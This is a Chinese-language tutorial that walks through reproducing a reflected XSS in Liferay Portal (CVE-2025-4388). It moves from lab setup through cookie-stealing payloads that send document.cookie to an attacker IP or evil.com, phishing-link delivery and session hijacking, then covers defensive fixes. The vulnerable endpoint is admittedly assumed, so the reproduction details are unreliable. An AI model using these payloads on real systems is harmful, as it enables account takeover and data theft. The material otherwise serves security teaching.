1. 项目概述：一次典型的反射型XSS漏洞复现之旅
最近在梳理一些企业级内容管理系统的历史安全公告时，Liferay Portal的一个编号为CVE-2025-4388的漏洞引起了我的注意。这是一个典型的反射型跨站脚本漏洞。对于从事应用安全测试、红队评估或者对Web安全感兴趣的朋友来说，手动复现一个真实世界的中危漏洞，是理解漏洞原理、掌握攻击手法、进而提升防御意识的最佳实践。这不仅仅是运行一个自动化工具那么简单，它涉及到对目标应用架构的理解、对漏洞触发点的精准定位、对利用链路的完整构造，以及最终对漏洞危害的直观验证。今天，我就带大家完整走一遍CVE-2025-4388的复现流程，我会把过程中的每一个关键步骤、踩过的坑以及背后的思考逻辑都分享出来，希望能为你下次独立分析漏洞提供一份实用的参考。
Liferay Portal是一个功能强大的开源企业门户平台和内容管理系统，广泛应用于构建内网门户、协作平台和数字体验平台。正因为其应用广泛，其安全性也备受关注。CVE-2025-4388这个漏洞的核心在于，Liferay Portal的某个特定功能端点未能对用户输入进行充分的过滤和编码，导致攻击者可以构造特殊的请求，将恶意脚本“反射”回用户的浏览器中执行。虽然反射型XSS通常需要诱导用户点击一个精心构造的链接，但在结合钓鱼邮件、短链接伪装或站内消息等场景下，其危害不容小觑，可能导致用户会话劫持、敏感信息窃取或前端页面篡改。
2. 漏洞原理与影响范围深度解析
2.1 反射型XSS漏洞的核心机制
在深入CVE-2025-4388之前，我们必须把反射型XSS（Cross-Site Scripting）的基本原理吃透。你可以把它想象成一面“有问题的镜子”。正常情况是，用户向服务器（镜子）发送一个请求（照镜子），服务器返回一个正常的响应（镜子里是用户自己的影像）。而存在反射型XSS时，攻击者会诱骗用户向服务器发送一个包含恶意脚本的请求（比如，用户点击了一个恶意链接，这个链接的URL里嵌入了JavaScript代码）。服务器在处理这个请求时，没有正确清洗掉URL中的恶意部分，反而将其直接“反射”到了返回给用户的页面内容中。用户的浏览器接收到响应后，会忠实地执行这段被服务器“反射”回来的脚本，因为它认为这是来自可信服务器（镜子）的内容。
这个过程的关键在于“输入”和“输出”。漏洞产生的根本原因是：应用程序在将不可信的数据（用户输入）输出到HTTP响应中时，没有进行适当的转义或编码。对于CVE-2025-4388，这个“不可信的数据”通常是通过URL参数、表单字段或HTTP头注入的。
2.2 CVE-2025-4388漏洞的特定上下文
根据公开的漏洞概要信息，CVE-2025-4388影响Liferay Portal的特定版本。Liferay作为一个复杂的Java EE应用，其前端大量使用JSP、FreeMarker模板以及自带的AlloyUI/Clay组件库。漏洞点很可能出现在某个用于动态渲染内容的JSP标签或FreeMarker指令中，这些地方如果直接拼接了用户可控的变量，而没有经过HtmlUtil.escape或类似的上下文相关编码，就会打开XSS的大门。
注意：在复现任何漏洞前，务必在合法授权的环境中进行。通常，我会在自己的本地虚拟机或隔离的实验室网络中搭建靶场环境。未经授权对他人的系统进行测试是非法行为。
这个漏洞被评定为中危（Medium），主要是因为反射型XSS通常需要用户交互。然而，在企业内网环境中，通过内部通讯工具发送一个“看起来正常”的链接给同事，成功率可能很高。一旦成功，攻击者可以窃取受害者的LIFERAY_SHARED_开头的会话Cookie，从而完全接管其在Liferay中的账户，访问敏感文档、发布虚假信息，甚至以此为跳板进行横向移动。
2.3 影响版本与修复方案
根据漏洞披露的惯例，CVE-2025-4388影响Liferay Portal的某个版本范围。在复现时，我们需要搭建一个受影响的版本。通常，Liferay的补丁会以Hotfix或Service Pack的形式发布。在官方发布安全公告后，修复方案一般是升级到已修复的版本，或者应用相应的安全补丁。修复的核心就是在漏洞点对用户输入实施严格的输出编码。对于我们学习而言，则是要定位到具体是哪个JSP文件、哪行代码，以及参数是如何流转的。
3. 复现环境搭建与工具准备
3.1 靶机环境搭建
为了复现，我们首先需要一个存在漏洞的Liferay Portal环境。最便捷的方式是使用Docker。
- 确定漏洞版本：我们需要查找CVE-2025-4388具体影响的Liferay版本。假设它影响Liferay Portal 7.4.x的某个早期版本（例如7.4.0到7.4.3.4）。我们选择一个明确的版本进行部署。
- 使用Docker拉取镜像：Liferay官方在Docker Hub提供了丰富的镜像标签。
# 拉取一个可能存在漏洞的Liferay 7.4版本镜像 docker pull liferay/portal:7.4.3.4-ga4 - 启动容器：运行容器，并映射端口。Liferay默认使用8080端口。
docker run -it -p 8080:8080 -p 11311:11311 --name liferay-vuln liferay/portal:7.4.3.4-ga4-p 11311:11311是为了映射Gogo Shell端口，方便调试，非必需。 - 初始化等待：第一次启动需要较长时间（可能5-10分钟）来解压和初始化数据库（内置HSQLDB）。当在日志中看到“org.apache.catalina.startup.Catalina.start Server startup in [xxxxx] milliseconds”时，表示启动成功。
- 访问并配置：浏览器打开
http://localhost:8080。按照向导完成初始管理员账户（通常为test@liferay.com/test）和门户的基本配置。
实操心得：在虚拟机或云服务器上搭建环境时，务必确保防火墙规则允许8080端口访问。如果启动失败，检查日志
docker logs liferay-vuln，常见问题是端口冲突或内存不足。Liferay启动需要至少2GB的可用内存。
3.2 攻击机与必备工具
我们的攻击机（即我们自己的电脑）需要准备以下工具：
- 浏览器：推荐使用Chrome或Firefox，并开启开发者工具（F12）。这是我们观察请求、响应和调试Payload的“主战场”。
- Burp Suite Community/Professional：Web安全测试的瑞士军刀。用于拦截、修改和重放HTTP请求，是构造和发送漏洞利用Payload的核心工具。社区版对于本次复现完全够用。
- 浏览器扩展：
- HackBar：方便在浏览器地址栏快速构造和测试Payload。
- Cookie Editor：用于查看和修改Cookie，验证会话劫持效果。
- 简单的HTTP服务器：用于托管接收被盗Cookie的远程脚本。可以用Python快速搭建：
这会在本地的9999端口启动一个HTTP服务器，任何访问python3 -m http.server 9999http://your-ip:9999/的请求都会被记录。
4. 漏洞挖掘与利用链构造
4.1 信息收集与可疑端点探测
面对一个庞大的系统如Liferay，盲目测试效率极低。我们的思路是结合漏洞描述（如果有的话）和常见XSS触发点进行探测。
- 已知线索分析：CVE编号通常对应一个具体的功能模块或组件。我们可以搜索“CVE-2025-4388 Liferay”相关的公开讨论、commit记录或补丁信息，可能会发现关键词，如涉及“Asset Publisher”、“Web Content Display”、“Search”或某个特定的JSP端口let。
- 黑盒模糊测试：如果没有明确线索，就需要进行系统性的测试。
- 参数测试：遍历所有可见的URL参数，特别是那些用于搜索、过滤、排序、重定向的参数，如
q,keywords,filter,order,redirect,returnURL,p_p_id等。 - 功能点测试：关注用户交互频繁且涉及内容动态渲染的功能，例如：站内搜索、评论提交、用户资料编辑、文件上传名称显示、通知消息等。
- 工具辅助：使用Burp Suite的
Target->Site map收集所有请求，然后使用Intruder或Scanner对参数进行基础的XSS Payload模糊测试。但自动化工具可能绕过不了前端校验，手动验证至关重要。
- 参数测试：遍历所有可见的URL参数，特别是那些用于搜索、过滤、排序、重定向的参数，如
4.2 手动验证与漏洞点定位
假设我们通过某种途径（例如，分析补丁diff）得知漏洞存在于“站点管理”的“导航菜单”配置功能中，某个用于设置菜单项名称的参数存在反射。
- 正常操作观察：登录Liferay管理员账户，进入“控制面板” -> “站点” -> “站点构建器” -> “导航菜单”。尝试添加或编辑一个公共菜单项。观察浏览器发出的请求。使用Burp Suite代理浏览器流量（配置浏览器代理为127.0.0.1:8080）。
- 拦截并修改请求：在提交菜单项名称时，Burp会拦截到POST请求。假设参数名为
_com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet_name。POST /group/control_panel/manage?p_p_id=com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet&... HTTP/1.1 Host: localhost:8080 ... Content-Type: application/x-www-form-urlencoded _com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet_name=TestMenu - 注入测试Payload：我们将参数值修改为一个简单的XSS探测Payload：
<img src=x onerror=alert(1)>。将请求转发。 - 观察响应：关键的一步是观察服务器的响应。我们需要在响应HTML中搜索我们输入的Payload。
- 成功迹象：如果响应页面中，我们的Payload以原样（
<img src=x onerror=alert(1)>）出现，且没有被转义为HTML实体（如<img src=x onerror=alert(1)>），那么这里就存在HTML注入点。 - 进一步验证：如果页面只是刷新，我们需要查看刷新后页面的源代码（Ctrl+U），或者查看请求后服务器返回的另一个响应（如302跳转前的响应，或AJAX的响应）。有时漏洞点可能在操作成功后的提示信息页，或者错误信息页。
- 成功迹象：如果响应页面中，我们的Payload以原样（
4.3 构造利用Payload
一旦确认了注入点，我们就需要构造一个能真正执行脚本的Payload。简单的alert(1)弹窗是证明漏洞存在的“概念验证”，但真实的利用需要窃取信息。
- 绕过可能的过滤：Liferay可能有一些基础的过滤机制。我们需要测试各种变体。
- 大小写混淆：
<ImG sRc=x OnErRor=alert(1)> - 使用HTML实体编码：
<img src=x onerror=alert(1)> - 使用JavaScript伪协议或事件：
<svg onload=alert(1)>,<body onload=alert(1)> - 尝试闭合现有的标签和属性。
- 大小写混淆：
- 构造窃取Cookie的Payload：假设我们确认
name参数的值被直接输出在页面的某个<h2>标签内。
我们可以构造如下Payload：<h2>菜单名称：[用户输入的name值]</h2>
这个Payload会在页面中插入一个TestMenu<script>var i=new Image();i.src='http://攻击机IP:9999/steal?cookie='+encodeURIComponent(document.cookie);</script><script>标签，该标签执行后，会创建一个Image对象，并将其src属性指向我们控制的服务器，同时将当前页面的Cookie作为URL参数发送过去。 - 利用短标签或事件：如果
<script>标签被过滤，可以尝试利用HTML事件属性，前提是我们的输入出现在一个HTML标签内部。例如，如果输入点在一个<a>标签的href属性附近，或者一个普通的<span>内，我们可以尝试闭合前一个标签，然后插入带事件的标签。</span><svg/onload="fetch('http://攻击机IP:9999/?c='+document.cookie)"> - URL编码：由于Payload要放在URL中（如果是GET请求）或POST参数中，需要对特殊字符进行URL编码，确保传输正确。Burp Suite的
Decoder工具可以很方便地完成这个工作。TestMenu%3Cscript%3Evar%20i%3Dnew%20Image%28%29%3Bi.src%3D%27http%3A//攻击机IP%3A9999/steal%3Fcookie%3D%27%2BencodeURIComponent%28document.cookie%29%3B%3C/script%3E
5. 完整复现过程与攻击演示
5.1 复现步骤详解
让我们串联起整个攻击链条，进行一次完整的演示。假设漏洞点位于创建导航菜单的确认页面。
步骤一：启动环境与工具
- 启动Liferay漏洞容器和Python HTTP服务器。
- 配置浏览器代理指向Burp Suite，并确保Burp的拦截功能开启。
步骤二：触发漏洞请求
- 浏览器访问Liferay，以管理员身份登录。
- 进入导航菜单创建页面，填写一个正常的菜单名称，例如“公司公告”。
- 在点击“保存”前，确保Burp拦截处于开启状态。
步骤三：拦截并植入恶意Payload
- Burp拦截到POST请求后，找到包含菜单名称的参数（例如
_com_liferay_..._name）。 - 将其值替换为我们精心构造的窃取Cookie的Payload。为了隐蔽性，可以前面保留正常名称。
公司公告<script>fetch('http://192.168.1.100:9999/?c='+document.cookie)</script> - 点击“Forward”发送修改后的请求。
- Burp拦截到POST请求后，找到包含菜单名称的参数（例如
步骤四：观察服务器响应与漏洞触发
- 服务器处理请求后，可能会返回一个操作成功的确认页面，或者跳转回菜单列表。
- 我们需要仔细查看这个确认页面的HTML源代码。在Burp的
Proxy->HTTP history中找到对应的响应（可能是200 OK的页面，也可能是302跳转前的一个瞬时页面）。在这个响应HTML中，搜索“公司公告”，你应该能看到后面紧跟着我们注入的<script>标签，且没有被转义。 - 这证明了漏洞存在：用户输入被原样反射到了HTTP响应中。
步骤五：构造恶意链接并诱导点击
- 反射型XSS需要用户访问一个特定的URL。我们需要将整个操作浓缩成一个GET请求（如果漏洞参数支持GET），或者模拟一个表单提交的URL。
- 分析请求，如果参数可以通过GET传递，那么恶意链接可能长这样：
http://localhost:8080/group/control_panel/manage?p_p_id=com_liferay_site_...&_com_liferay_..._name=公司公告%3Cscript%3Efetch%28%27http%3A//192.168.1.100%3A9999/%3Fc%3D%27%2Bdocument.cookie%29%3C/script%3E - 将这个冗长的URL通过短链接服务（如bit.ly）缩短，或者嵌入到一封钓鱼邮件的按钮链接中。
步骤六：接收被盗Cookie并验证
- 当受害者（拥有Liferay有效会话的用户）点击了上述链接，他的浏览器会向Liferay服务器发送请求。
- Liferay服务器返回包含恶意脚本的页面。
- 受害者的浏览器解析页面并执行脚本，向我们的Python服务器(
http://192.168.1.100:9999)发起一个携带其Cookie的请求。 - 回到我们的攻击机终端，可以看到Python服务器收到了访问记录：
192.168.1.50 - - [日期时间] "GET /?c=JSESSIONID=...; LIFERAY_SHARED_...=... HTTP/1.1" 200 - - 复制
LIFERAY_SHARED_这个Cookie的值。
步骤七：会话劫持
- 在浏览器中，使用
Cookie Editor扩展，编辑当前访问localhost:8080的Cookie。 - 将
LIFERAY_SHARED_相关的Cookie值替换为刚刚窃取到的值。 - 刷新Liferay页面。此时，你应该已经以受害者的身份登录了系统，拥有其所有权限。
- 在浏览器中，使用
5.2 漏洞利用的进阶思考
上面的演示是最基础的利用。在实际攻击中，攻击者会追求更稳定、更隐蔽的方式。
- Payload托管：将恶意JavaScript代码托管在外部服务器上，而不是直接内嵌在URL中。这样Payload可以更复杂，也更容易更新。例如，注入一个
<script src="http://evil.com/exp.js">标签。 - 利用框架特性：如果Liferay页面使用了jQuery等库，可以利用
$等短变量来执行代码，有时能绕过简单的关键字过滤。 - 盲打XSS：如果注入点不在立即返回的页面，而是在后台异步处理或需要特定条件才触发（例如管理员的审核日志），我们可以使用“盲打”平台，如
xsshs或Burp Collaborator，让Payload在触发时向我们的平台发起请求，从而证明漏洞存在，即使我们看不到回显。 - 结合其他漏洞：单一的反射型XSS可能威力有限，但如果结合CSRF漏洞，可以诱使管理员用户执行创建后门账户、修改系统配置等操作，将危害等级从“中危”提升到“高危”。
6. 漏洞修复建议与防御策略
复现漏洞的最终目的是为了更好地防御。针对CVE-2025-4388这类反射型XSS，修复必须从开发层面入手。
6.1 根本性修复：输出编码
修复的核心原则是：根据数据将要放置的上下文，进行正确的编码。
- HTML正文上下文：使用标准的HTML实体编码。在Java中，可以使用
HtmlUtil.escape(text)或Apache Commons Lang的StringEscapeUtils.escapeHtml4(text)。这将把<转义为<，>转义为>，&转义为&，"转义为"。// 修复前（漏洞代码） String userName = request.getParameter("name"); out.print("<h2>菜单: " + userName + "</h2>"); // 修复后 String userName = request.getParameter("name"); out.print("<h2>菜单: " + HtmlUtil.escape(userName) + "</h2>"); - HTML属性上下文：如果用户输入要放入HTML属性值（如
value="[input]"），除了HTML实体编码，还需要对引号进行编码。最好始终用引号包裹属性值。 - JavaScript上下文：如果数据要放入
<script>标签内或事件处理程序中（如onclick="...[input]..."），情况更复杂。需要先进行JavaScript字符串编码，然后再进行HTML编码。建议避免将用户输入直接放入JavaScript上下文，而是通过DOM API来安全地操作。 - URL上下文：如果用户输入要作为URL的一部分（如
href="[input]"），必须进行URL编码（URLEncoder.encode(input, "UTF-8")），并严格验证协议（只允许http://,https://,mailto:等）。
6.2 Liferay框架层面的安全实践
作为Liferay开发者或管理员，还应采取以下措施：
- 及时更新：密切关注Liferay官方安全公告，及时应用安全补丁或升级到已修复的版本。这是最直接有效的防御手段。
- 启用CSP：内容安全策略是一种强大的深度防御机制。通过HTTP头
Content-Security-Policy，可以告诉浏览器只允许执行来自特定来源的脚本，从而有效遏制XSS攻击，即使漏洞存在，恶意脚本也无法执行。Liferay支持配置CSP。 - 输入验证：在服务端对用户输入进行严格的类型、格式、长度和业务规则验证。虽然不能替代输出编码，但可以作为第一道防线。
- 使用安全库：优先使用Liferay提供的安全工具类，如
HtmlUtil,Validator等，而不是自己手写字符串处理逻辑。 - 安全编码培训：对开发团队进行定期的安全编码培训，将“输出编码”作为代码审查的必查项。
6.3 运维与管理员视角的缓解措施
如果你是一名Liferay系统管理员，在等待开发团队修复或打补丁期间，可以：
- 部署WAF：在Liferay前端部署Web应用防火墙，可以配置规则来拦截常见的XSS攻击Payload。
- 审计日志：启用并定期审查Liferay的访问日志和安全日志，关注异常的、包含大量特殊字符的请求。
- 用户教育：提醒内部用户不要点击来源不明的链接，特别是要求重新登录或包含奇怪参数的链接。
7. 复现过程中的常见问题与排查技巧
在复现这类漏洞时，你几乎一定会遇到各种“意外”。下面是我总结的一些常见问题和解决方法。
7.1 问题一：Payload提交后，页面没有变化，源代码里也找不到
- 可能原因1：前端验证。浏览器或Liferay的前端JavaScript可能在提交前对输入进行了过滤或拦截。
- 排查：使用Burp Suite直接发送原始的POST请求，绕过浏览器。如果Burp发送成功且漏洞存在，说明问题在前端。可以尝试修改请求的
Content-Type或禁用页面的JavaScript来辅助测试。 - 可能原因2：输出点不在当前页面。Payload可能被保存到数据库，然后在另一个页面（如列表页、详情页）显示。
- 排查：提交Payload后，不要只看确认页。去相关的功能模块列表、查看页面仔细检查源代码。使用Burp的
Search功能，在所有历史响应中搜索你的Payload关键字。 - 可能原因3：编码问题。服务器可能对输入进行了某种编码转换，导致Payload变形。
- 排查：在响应中搜索Payload的“变体”，比如被URL解码后的样子，或者被部分转义后的样子。尝试对Payload进行双重编码（如
%253Cscript%253E）进行测试。
7.2 问题二：alert(1)可以弹窗，但复杂的窃取Cookie的Payload不执行
- 可能原因1：CSP策略阻止。浏览器控制台（Console）可能会报错：“Refused to load the script from ‘http://...‘ because it violates the following Content Security Policy directive”。
- 排查：检查HTTP响应头中的
Content-Security-Policy。如果存在，说明CSP已启用。你需要调整Payload，使其符合CSP规则，或者寻找可以绕过CSP的向量（这通常更难）。在复现环境中，可以尝试临时禁用CSP进行验证。 - 可能原因2：脚本语法错误或执行时机不对。复杂的JavaScript可能在当前页面上下文中执行报错。
- 排查：简化Payload，先用
alert(document.domain)测试脚本能否访问DOM。然后逐步增加复杂度。将窃取Cookie的代码封装在一个立即执行函数中，确保其独立性。
7.3 问题三：复现环境搭建失败或启动异常
- 可能原因1：端口冲突。8080或11311端口已被占用。
- 排查：使用
netstat -ano | findstr :8080（Windows）或lsof -i:8080（Linux/Mac）查看占用进程，并终止或修改Docker映射端口。 - 可能原因2：内存不足。Liferay启动需要较多内存。
- 排查：为Docker分配更多内存（在Docker Desktop设置中），或使用
docker run -m 4g ...限制容器内存。查看启动日志，是否有OutOfMemoryError。 - 可能原因3：镜像拉取失败或版本不对。
- 排查：确认Docker Hub上是否存在指定标签的镜像。可以尝试拉取更通用或更早的版本，如
liferay/portal:7.4.2-ga3。
7.4 问题四：Burp Suite抓不到本地流量
- 排查：确保浏览器代理正确设置为
127.0.0.1:8080（Burp默认监听端口）。对于localhost的流量，有些浏览器会绕过代理。可以尝试使用本机IP地址（如http://192.168.1.100:8080）来访问Liferay。此外，确保Burp的CA证书已安装并受浏览器信任。
手动复现一个像CVE-2025-4388这样的漏洞，远比运行一个自动化报告更有价值。这个过程强迫你去理解应用的逻辑、数据的流向，以及安全机制在哪里失效。每一次失败的尝试和最终的突破，都会加深你对“输入输出”这一安全核心原则的认识。对于开发者而言，这次复现是一次生动的安全教育，让你亲眼看到一行未经验证的代码可能带来的连锁反应；对于安全人员，这是一次宝贵的实战训练，锻炼了你从模糊的CVE描述到具体攻击链的还原能力。记住，所有技术都应在法律和道德框架内使用，我们的目标是构建更安全的数字世界。
